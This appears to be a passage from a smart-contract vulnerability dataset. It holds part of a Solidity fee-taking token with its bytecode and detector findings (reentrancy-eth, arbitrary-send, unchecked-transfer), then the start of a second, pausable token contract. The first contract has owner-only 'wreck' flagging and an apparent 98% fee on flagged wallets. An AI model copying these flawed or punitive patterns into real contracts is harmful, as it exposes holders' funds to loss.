_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_processFee(tLP, tMarketing);
_rTotal = _rTotal.sub(rReflection);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferStandardSell(address sender, address recipient, uint256 tAmount, Fee memory currentFee) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection, uint256 tTransferAmount, uint256 tLP, uint256 tMarketing) = _getValuesSell(tAmount, currentFee);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if (recipient == _burnAddress) {
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
}
_processFee(tLP, tMarketing);
_rTotal = _rTotal.sub(rReflection);
emit Transfer(sender, recipient, tTransferAmount);
}
function _processFee(uint256 tLP, uint256 tMarketing) internal {
uint256 currentRate = _getRate();
uint256 rLP = tLP.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLP).add(rMarketing);
}
receive() external payable {}
function _getValuesBuy(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
FeeBreakdown memory buyFees;
(buyFees.tTransferAmount, buyFees.tLP, buyFees.tMarketing, buyFees.tReflection) = _getTValues(tAmount, currentFee.buyLPFee, currentFee.buyMarketingFee, currentFee.buyReflectionFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, buyFees.tLP, buyFees.tMarketing, buyFees.tReflection, currentRate);
return (rAmount, rTransferAmount, rReflection, buyFees.tTransferAmount, buyFees.tLP, buyFees.tMarketing);
}
function _getValuesSell(uint256 tAmount, Fee memory currentFee) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
FeeBreakdown memory sellFees;
(sellFees.tTransferAmount, sellFees.tLP, sellFees.tMarketing, sellFees.tReflection) = _getTValues(tAmount, currentFee.sellLPFee, currentFee.sellMarketingFee, currentFee.sellReflectionFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflection) = _getRValues(tAmount, sellFees.tLP, sellFees.tMarketing, sellFees.tReflection, currentRate);
return (rAmount, rTransferAmount, rReflection, sellFees.tTransferAmount, sellFees.tLP, sellFees.tMarketing);
}
function _getTValues(uint256 tAmount, uint256 LPFee, uint256 marketingFee, uint256 reflectionFee) private pure returns (uint256, uint256, uint256, uint256) {
uint256 tLP = tAmount.mul(LPFee).div(100);
uint256 tMarketing = tAmount.mul(marketingFee).div(100);
uint256 tReflection = tAmount.mul(reflectionFee).div(100);
uint256 tTransferAmount = tAmount.sub(tLP).sub(tMarketing);
tTransferAmount = tTransferAmount.sub(tReflection);
return (tTransferAmount, tLP, tMarketing, tReflection);
}
function _getRValues(uint256 tAmount, uint256 tLP, uint256 tMarketing, uint256 tReflection, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rLP = tLP.mul(currentRate);
uint256 rMarketing = tMarketing.mul(currentRate);
uint256 rReflection = tReflection.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rLP).sub(rMarketing).sub(rReflection);
return (rAmount, rTransferAmount, rReflection);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (_rOwned[_burnAddress] > rSupply || _tOwned[_burnAddress] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_burnAddress]);
tSupply = tSupply.sub(_tOwned[_burnAddress]);
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setIsExcludedFromFee(address account, bool toggle) external onlyOwner {
_isExcludedFromFee[account] = toggle;
}
function manageWreck(address account, bool isWreck) external onlyOwner {
wreck[account] = isWreck;
}
function setMaxBuyTxLimit(uint256 maxTxLimit) external onlyOwner {
_maxBuyTxAmount = maxTxLimit;
}
function updateSwapLimit(uint256 amount, uint256 maxAmount) external onlyOwner {
swapLimit = amount;
maxSwapLimit = maxAmount;
}
function setMaxSellTxLimit(uint256 maxTxLimit) external onlyOwner {
_maxSellTxAmount = maxTxLimit;
}
function setTaxes(uint256 buyMarketingFee, uint256 buyLPFee, uint256 buyReflectionFee, uint256 sellMarketingFee, uint256 sellLPFee, uint256 sellReflectionFee) external onlyOwner {
require(buyMarketingFee.add(buyLPFee).add(buyReflectionFee) < 50, "Sum of sell fees must be less than 50");
require(sellMarketingFee.add(sellLPFee).add(sellReflectionFee) < 50, "Sum of buy fees must be less than 50");
_buyMarketingFee = buyMarketingFee;
_buyLPFee = buyLPFee;
_buyReflectionFee = buyReflectionFee;
_sellMarketingFee = sellMarketingFee;
_sellLPFee = sellLPFee;
_sellReflectionFee = sellReflectionFee;
}
function updateSwapLimit(uint256 amount) external onlyOwner {
swapLimit = amount;
}
function updateSwap(bool _swapEnabled) external onlyOwner {
swapEnabled = _swapEnabled;
}
function setFeeReceivers(address payable LPAddress, address payable marketingAddress) external onlyOwner {
_LPAddress = LPAddress;
_marketingAddress = marketingAddress;
}
function transferOtherTokens(address addr, uint amount) external onlyOwner {
IERC20(addr).transfer(_msgSender(), amount);
}
}
|
0x6080604052600436106101c65760003560e01c80636a01f09c116100f7578063bdb2c38211610095578063f2fde38b11610064578063f2fde38b14610555578063f8e5884b14610575578063fab355f214610595578063fceade72146105b557600080fd5b8063bdb2c382146104af578063d1633649146104cf578063dd62ed3e146104ef578063ef422a181461053557600080fd5b8063943620db116100d1578063943620db1461042157806395d89b4114610441578063a4b45c001461046f578063a9059cbb1461048f57600080fd5b80636a01f09c146103cb57806370a08231146103e157806373d46b071461040157600080fd5b80632d1fb38911610164578063313ce5671161013e578063313ce5671461033757806349bd5a5e146103535780635d2c76b01461038b5780636883b831146103ab57600080fd5b80632d1fb389146102d25780632f2dae7f146102f25780632f54bf6e1461030857600080fd5b806318160ddd116101a057806318160ddd1461024f57806319aa57e81461027257806323b872dd14610292578063261c6ca5146102b257600080fd5b806304d4c990146101d257806306fdde03146101f4578063095ea7b31461021f57600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101f26101ed366004611d7b565b6105d5565b005b34801561020057600080fd5b50610209610704565b6040516102169190611dbe565b60405180910390f35b34801561022b57600080fd5b5061023f61023a366004611e2b565b610724565b6040519015158152602001610216565b34801561025b57600080fd5b5061026461073b565b604051908152602001610216565b34801561027e57600080fd5b506101f261028d366004611e2b565b61075d565b34801561029e57600080fd5b5061023f6102ad366004611e57565b610821565b3480156102be57600080fd5b506101f26102cd366004611ea6565b61088a565b3480156102de57600080fd5b506101f26102ed366004611ea6565b6108e4565b3480156102fe57600080fd5b5061026460075481565b34801561031457600080fd5b5061023f610323366004611edf565b6000546001600160a01b0391821691161490565b34801561034357600080fd5b5060405160098152602001610216565b34801561035f57600080fd5b50601654610373906001600160a01b031681565b6040516001600160a01b039091168152602001610216565b34801561039757600080fd5b506101f26103a6366004611efc565b610949565b3480156103b757600080fd5b506101f26103c6366004611efc565b61097d565b3480156103d757600080fd5b5061026460065481565b3480156103ed57600080fd5b506102646103fc366004611edf565b6109c5565b34801561040d57600080fd5b506101f261041c366004611efc565b6109e7565b34801561042d57600080fd5b506101f261043c366004611f15565b610a1b565b34801561044d57600080fd5b506040805180820190915260058152644d4f5a5a4160d81b6020820152610209565b34801561047b57600080fd5b506101f261048a366004611f32565b610a5d565b34801561049b57600080fd5b5061023f6104aa366004611e2b565b610aba565b3480156104bb57600080fd5b506101f26104ca366004611f60565b610ac7565b3480156104db57600080fd5b506101f26104ea366004611efc565b610b01565b3480156104fb57600080fd5b5061026461050a366004611f32565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561054157600080fd5b506101f2610550366004611ea6565b610b46565b34801561056157600080fd5b506101f2610570366004611edf565b610ba0565b34801561058157600080fd5b506101f2610590366004611efc565b610c46565b3480156105a157600080fd5b506101f26105b0366004611efc565b610cbf565b3480156105c157600080fd5b506101f26105d0366004611efc565b610cf3565b3360009081526001602052604090205460ff1661060d5760405162461bcd60e51b815260040161060490611f82565b60405180910390fd5b60326106238561061d8989610e31565b90610e31565b1061067e5760405162461bcd60e51b815260206004820152602560248201527f53756d206f662073656c6c2066656573206d757374206265206c6573732074686044820152640616e2035360dc1b6064820152608401610604565b603261068e8261061d8686610e31565b106106e75760405162461bcd60e51b8152602060048201526024808201527f53756d206f66206275792066656573206d757374206265206c6573732074686160448201526306e2035360e41b6064820152608401610604565b600d95909555600c93909355600e91909155601055600f55601155565b606060405180606001604052806022815260200161220560229139905090565b6000610731338484610e90565b5060015b92915050565b60006107496009600a61209c565b6107589064e8d4a510006120ab565b905090565b3360009081526001602052604090205460ff1661078c5760405162461bcd60e51b815260040161060490611f82565b6001600160a01b03821663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b1580156107e457600080fd5b505af11580156107f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081c91906120ca565b505050565b600061082e848484610fb4565b610880843361087b856040518060600160405280602881526020016121dd602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611392565b610e90565b5060019392505050565b3360009081526001602052604090205460ff166108b95760405162461bcd60e51b815260040161060490611f82565b6001600160a01b03919091166000908152601260205260409020805460ff1916911515919091179055565b6108ed33610323565b61091e5760405162461bcd60e51b8152602060048201526002602482015261085160f21b6044820152606401610604565b6001600160a01b03919091166000908152600160205260409020805460ff1916911515919091179055565b3360009081526001602052604090205460ff166109785760405162461bcd60e51b815260040161060490611f82565b601755565b3360009081526001602052604090205460ff166109ac5760405162461bcd60e51b815260040161060490611f82565b476109c1826109bb57816113cc565b826113cc565b5050565b6001600160a01b03811660009081526002602052604081205461073590611451565b3360009081526001602052604090205460ff16610a165760405162461bcd60e51b815260040161060490611f82565b600b55565b3360009081526001602052604090205460ff16610a4a5760405162461bcd60e51b815260040161060490611f82565b6008805460ff1916911515919091179055565b3360009081526001602052604090205460ff16610a8c5760405162461bcd60e51b815260040161060490611f82565b601480546001600160a01b039384166001600160a01b03199182161790915560138054929093169116179055565b6000610731338484610fb4565b3360009081526001602052604090205460ff16610af65760405162461bcd60e51b815260040161060490611f82565b600691909155600755565b3360009081526001602052604090205460ff16610b305760405162461bcd60e51b815260040161060490611f82565b43600a55600b556019805460ff19166001179055565b3360009081526001602052604090205460ff16610b755760405162461bcd60e51b815260040161060490611f82565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b610ba933610323565b610bda5760405162461bcd60e51b8152602060048201526002602482015261085160f21b6044820152606401610604565b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff191690921790915591519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b3360009081526001602052604090205460ff16610c755760405162461bcd60e51b815260040161060490611f82565b6000610c80306109c5565b9050610c9f610c9a6064610c948486610d70565b90610d27565b6114ce565b610cb86064610c94610cb185836120e7565b8490610d70565b6006555050565b3360009081526001602052604090205460ff16610cee5760405162461bcd60e51b815260040161060490611f82565b601855565b3360009081526001602052604090205460ff16610d225760405162461bcd60e51b815260040161060490611f82565b600655565b6000610d6983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611651565b9392505050565b600082610d7f57506000610735565b6000610d8b83856120ab565b905082610d9885836120fe565b14610d695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610604565b6000610d6983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611392565b600080610e3e8385612120565b905083811015610d695760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610604565b6001600160a01b038316610ef25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610604565b6001600160a01b038216610f535760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610604565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110185760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610604565b6001600160a01b03821661107a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610604565b600081116110dc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610604565b600160006110e861167f565b6016549091506001600160a01b03868116911614801561111657506015546001600160a01b03858116911614155b801561113b57506001600160a01b03841660009081526005602052604090205460ff16155b156111d0576017548311156111825760405162461bcd60e51b815260206004820152600d60248201526c13585e08109d5e48131a5b5a5d609a1b6044820152606401610604565b600b54600a5461119191610e31565b431115806111a2575060195460ff16155b156111cb576001600160a01b0384166000908152601260205260409020805460ff191660011790555b61132b565b601954610100900460ff161580156111f657506016546001600160a01b03868116911614155b801561121b57506001600160a01b03851660009081526005602052604090205460ff16155b15611326576018548311156112635760405162461bcd60e51b815260206004820152600e60248201526d13585e0814d95b1b08131a5b5a5d60921b6044820152606401610604565b600b54600a5461127291610e31565b43111580611283575060195460ff16155b156112ac576001600160a01b0385166000908152601260205260409020805460ff191660011790555b60006112b7306109c5565b9050600654811180156112cc575060085460ff165b1561130f576007546006546112e19190612120565b81106112f7576112f26007546114ce565b61130f565b61130f610c9a60065483610def90919063ffffffff16565b47801561131f5761131f476113cc565b505061132b565b600091505b6001600160a01b03851660009081526012602052604090205460ff168061136a57506001600160a01b03841660009081526012602052604090205460ff165b1561137e576113776116c1565b9050600191505b61138b85858585856116ff565b5050505050565b600081848411156113b65760405162461bcd60e51b81526004016106049190611dbe565b5060006113c384866120e7565b95945050505050565b6013546001600160a01b03166108fc6113e6836002610d27565b6040518115909202916000818181858888f1935050505015801561140e573d6000803e3d6000fd5b506014546001600160a01b03166108fc611429836002610d27565b6040518115909202916000818181858888f193505050501580156109c1573d6000803e3d6000fd5b60006009548211156114b85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610604565b60006114c2611742565b9050610d698382610d27565b6019805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151257611512612138565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561156657600080fd5b505afa15801561157a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159e919061214e565b816001815181106115b1576115b1612138565b6001600160a01b0392831660209182029290920101526015546115d79130911684610e90565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061161090859060009086903090429060040161216b565b600060405180830381600087803b15801561162a57600080fd5b505af115801561163e573d6000803e3d6000fd5b50506019805461ff001916905550505050565b600081836116725760405162461bcd60e51b81526004016106049190611dbe565b5060006113c384866120fe565b611687611d45565b61168f611d45565b600d548152600c546040820152600e5460208201526010546060820152600f5460a08201526011546080820152919050565b6116c9611d45565b6116d1611d45565b6062808252600160408301819052600060208401819052606084019290925260a08301526080820152919050565b8161170f5761170c611765565b90505b6016546001600160a01b038681169116141561173657611731858585846117a0565b61138b565b61138b858585846118a8565b600080600061174f61199a565b909250905061175e8282610d27565b9250505090565b61176d611d45565b611775611d45565b600080825260408201819052602082018190526060820181905260a082018190526080820152919050565b6000806000806000806117b38888611b17565b9550955095509550955095506117f786600260008d6001600160a01b03166001600160a01b0316815260200190815260200160002054610def90919063ffffffff16565b6001600160a01b03808c1660009081526002602052604080822093909355908b16815220546118269086610e31565b6001600160a01b038a166000908152600260205260409020556118498282611bc9565b6009546118569085610def565b6009556040518381526001600160a01b03808b1691908c16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050505050505050565b6000806000806000806118bb8888611c29565b9550955095509550955095506118ff86600260008d6001600160a01b03166001600160a01b0316815260200190815260200160002054610def90919063ffffffff16565b6001600160a01b03808c1660009081526002602052604080822093909355908b168152205461192e9086610e31565b6001600160a01b038a1660008181526002602052604090209190915561dead1415611990576001600160a01b0389166000908152600360205260409020546119769084610e31565b6001600160a01b038a166000908152600360205260409020555b6118498282611bc9565b6000806000600954905060006009600a6119b4919061209c565b6119c39064e8d4a510006120ab565b61dead60005260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54909150821080611a2b575061dead60005260036020527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c5481105b15611a5a576009546009600a611a41919061209c565b611a509064e8d4a510006120ab565b9350935050509091565b61dead60005260026020527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54611a92908390610def565b61dead60005260036020527f262bb27bbdd95c1cdc8e16957e36e38579ea44f7f6413dd7a9c75939def06b2c54909250611acd908290610def565b9050611af6611ade6009600a61209c565b611aed9064e8d4a510006120ab565b60095490610d27565b821015611b0e576009546009600a611a41919061209c565b90939092509050565b600080600080600080611b4b6040518060800160405280600081526020016000815260200160008152602001600081525090565b611b638989604001518a600001518b60200151611c71565b60608501526040840152602083015281526000611b7e611742565b90506000806000611b9e8d86602001518760400151886060015188611ce3565b87516020890151604090990151939e50919c509a509850949650939450505050509295509295509295565b6000611bd3611742565b90506000611be18483610d70565b90506000611bef8484610d70565b30600090815260026020526040902054909150611c1290829061061d9085610e31565b306000908152600260205260409020555050505050565b600080600080600080611c5d6040518060800160405280600081526020016000815260200160008152602001600081525090565b611b63898960a001518a606001518b608001515b600080808080611c866064610c948b8b610d70565b90506000611c996064610c948c8b610d70565b90506000611cac6064610c948d8b610d70565b90506000611cc483611cbe8e87610def565b90610def565b9050611cd08183610def565b9c939b5091995097509095505050505050565b6000808080611cf28986610d70565b90506000611d008987610d70565b90506000611d0e8988610d70565b90506000611d1c8989610d70565b90506000611d3082611cbe85818989610def565b949d949c50909a509298505050505050505050565b6040518060c001604052806000815260200160008152602001600081526020016000815260200160008152602001600081525090565b60008060008060008060c08789031215611d9457600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600060208083528351808285015260005b81811015611deb57858101830151858201604001528201611dcf565b81811115611dfd576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611e2857600080fd5b50565b60008060408385031215611e3e57600080fd5b8235611e4981611e13565b946020939093013593505050565b600080600060608486031215611e6c57600080fd5b8335611e7781611e13565b92506020840135611e8781611e13565b929592945050506040919091013590565b8015158114611e2857600080fd5b60008060408385031215611eb957600080fd5b8235611ec481611e13565b91506020830135611ed481611e98565b809150509250929050565b600060208284031215611ef157600080fd5b8135610d6981611e13565b600060208284031215611f0e57600080fd5b5035919050565b600060208284031215611f2757600080fd5b8135610d6981611e98565b60008060408385031215611f4557600080fd5b8235611f5081611e13565b91506020830135611ed481611e13565b60008060408385031215611f7357600080fd5b50508035926020909101359150565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611ff3578160001904821115611fd957611fd9611fa2565b80851615611fe657918102915b93841c9390800290611fbd565b509250929050565b60008261200a57506001610735565b8161201757506000610735565b816001811461202d576002811461203757612053565b6001915050610735565b60ff84111561204857612048611fa2565b50506001821b610735565b5060208310610133831016604e8410600b8410161715612076575081810a610735565b6120808383611fb8565b806000190482111561209457612094611fa2565b029392505050565b6000610d6960ff841683611ffb565b60008160001904831182151516156120c5576120c5611fa2565b500290565b6000602082840312156120dc57600080fd5b8151610d6981611e98565b6000828210156120f9576120f9611fa2565b500390565b60008261211b57634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561213357612133611fa2565b500190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561216057600080fd5b8151610d6981611e13565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156121bb5784516001600160a01b031683529383019391830191600101612196565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654d6f7a7a6172656c6c61207c2068747470733a2f2f742e6d652f4d6f7a7a61455243a2646970667358221220efe42e9e17903d2246e6434ca753cb381b0214886b1710bdfad76666303634d064736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,104 |
0xa4cc7d5056c4f89ce2634f71757832ddeb9db8c9
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
*/
function transferOwnership(address newOwner) public onlyOwner{
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool){
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool){
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ComissionList is Claimable {
using SafeMath for uint256;
struct Transfer {
uint256 stat;
uint256 perc;
}
mapping (string => Transfer) refillPaySystemInfo;
mapping (string => Transfer) widthrawPaySystemInfo;
Transfer transferInfo;
event RefillCommisionIsChanged(string _paySystem, uint256 stat, uint256 perc);
event WidthrawCommisionIsChanged(string _paySystem, uint256 stat, uint256 perc);
event TransferCommisionIsChanged(uint256 stat, uint256 perc);
// установить информацию по комиссии для пополняемой платёжной системы
function setRefillFor(string _paySystem, uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
refillPaySystemInfo[_paySystem].stat = _stat;
refillPaySystemInfo[_paySystem].perc = _perc;
RefillCommisionIsChanged(_paySystem, _stat, _perc);
}
// установить информацию по комиссии для снимаеомй платёжной системы
function setWidthrawFor(string _paySystem,uint256 _stat, uint256 _perc) public onlyOwner returns (uint256) {
widthrawPaySystemInfo[_paySystem].stat = _stat;
